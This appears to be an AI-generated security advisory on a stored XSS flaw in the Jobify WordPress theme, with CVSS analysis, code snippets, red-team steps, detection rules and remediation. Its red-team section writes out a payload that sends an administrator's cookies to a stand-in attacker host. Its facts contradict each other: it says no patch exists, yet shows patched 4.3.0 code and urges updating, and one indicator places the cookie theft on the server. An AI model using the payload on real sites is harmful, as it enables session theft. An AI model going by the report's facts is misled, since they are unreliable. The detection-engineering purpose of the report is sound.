CVE-2024-52478

Executive Summary

CVE-2024-52478 is a Stored Cross-Site Scripting (XSS) vulnerability in the Astoundify Jobify WordPress theme, affecting all versions prior to 4.3.0. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing authenticated attackers with contributor-level access or higher to inject arbitrary JavaScript into job listing pages. When an administrator views the malicious job listing, the injected script executes in their browser session, potentially leading to session hijacking, credential theft, or further WordPress compromise. The CVSS v3.1 base score is 6.5 (Medium), with a vector of CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L. No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch. This vulnerability is specific to the WordPress ecosystem and does not affect Apache or Nginx directly.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a WordPress theme vulnerability, and the affected component is distributed via the WordPress theme repository or commercial channels. Users should verify the integrity of their theme files and monitor for updates from Astoundify.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required; the attacker only needs to submit a crafted job listing.
• Privileges Required (PR): Low (L) – The attacker must have at least contributor-level access to the WordPress site.
• User Interaction (UI): Required (R) – The victim (typically an administrator) must view the malicious job listing.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component (e.g., admin dashboard).
• Confidentiality (C): Low (L) – Limited data exposure, such as session tokens.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on service availability.

Threat Level: Medium. The requirement for authenticated access and user interaction reduces the immediate risk, but the potential for privilege escalation and lateral movement within the WordPress admin panel makes this a significant concern for multi-user sites.

Deep Dive & Mechanics

The vulnerability exists in the job listing submission and display functionality of the Jobify theme. When a user submits a job listing, the theme fails to sanitize or escape certain input fields (e.g., job title, description, or custom fields) before storing them in the WordPress database. When an administrator views the job listing in the admin panel or front-end, the unsanitized input is rendered as HTML, allowing JavaScript execution.

Root Cause: The theme uses echo or the_content() without applying WordPress’s built-in escaping functions like esc_html() or wp_kses_post() on user-submitted data. This allows an attacker to inject <script> tags or event handlers (e.g., onmouseover, onload) that execute when the page is rendered.

Attack Flow:

1. Attacker registers as a contributor or higher on the WordPress site.
2. Attacker submits a new job listing with malicious JavaScript in a vulnerable field (e.g., job title: <script>alert('XSS')</script>).
3. The job listing is stored in the database without sanitization.
4. An administrator navigates to the job listing page (e.g., /jobs/ or admin dashboard).
5. The injected script executes in the administrator’s browser, potentially stealing cookies, performing actions on behalf of the admin, or installing backdoors.

Vulnerable vs. Patched Code

Vulnerable Code (Jobify < 4.3.0):

// In a template file like single-job_listing.php
echo get_the_title(); // No escaping

Patched Code (Jobify >= 4.3.0):

// Properly escaped
echo esc_html( get_the_title() );

The patched version applies esc_html() to all user-submitted data before output, preventing HTML/JavaScript injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site running Jobify < 4.3.0.
• Attacker account with contributor-level access or higher.

Steps:

1. Log in to WordPress as a contributor.
2. Navigate to WP Admin > Job Listings > Add New.
3. In the job title field, enter: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>.
4. Fill in other required fields and publish the job listing.
5. Wait for an administrator to view the job listing (e.g., via email notification or manual browsing).
6. The administrator’s browser sends their cookies to the attacker’s server.

Note: No public exploit code is available; this is a conceptual demonstration.

Blue Team

Detection:

• Monitor for job listings containing suspicious HTML tags (e.g., <script>, <iframe>, onerror).
• Use WordPress security plugins (e.g., Wordfence) to scan for XSS payloads.
• Review access logs for unusual POST requests to /wp-admin/post-new.php?post_type=job_listing.

Prevention:

• Immediately update to Jobify 4.3.0 or later.
• If patching is not possible, apply a Web Application Firewall (WAF) rule to block <script> tags in job listing fields.
• Restrict contributor roles to trusted users only.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains from the WordPress server (e.g., GET /steal?cookie=...).
• Host: Job listing entries in the wp_posts table containing <script> tags or event handlers.
• Logs: WordPress debug log entries showing PHP warnings related to echo of unsanitized data.
• File: Modified theme files in /wp-content/themes/jobify/ (e.g., single-job_listing.php).

Detection Engineering

YARA Rule

rule CVE_2024_52478_Jobify_XSS {
    meta:
        description = "Detects stored XSS payloads in Jobify job listings"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-52478"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $event_handler = /on\w+\s*=\s*["']?[^"']*["']?/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Jobify Job Listings
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b3d1f0a9e8c
status: experimental
description: Detects stored XSS attempts in Jobify theme job listing submissions
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.method: POST
        http.url: '/wp-admin/post-new.php?post_type=job_listing'
        http.body|contains: 
            - '<script'
            - 'onerror'
            - 'onload'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in job descriptions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-52478 Stored XSS in Jobify Job Listings"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post-new.php?post_type=job_listing"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Jobify to version 4.3.0 or later if available. If not, consider disabling the job listing functionality until a patch is released.
2. Apply a WAF rule to block XSS payloads in job listing fields.
3. Review user roles and remove any untrusted contributors.

Long-Term Measures:

• Implement Content Security Policy (CSP) headers to restrict script execution.
• Regularly audit WordPress themes and plugins for vulnerabilities.
• Use a security plugin (e.g., Wordfence, Sucuri) to monitor for XSS attempts.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.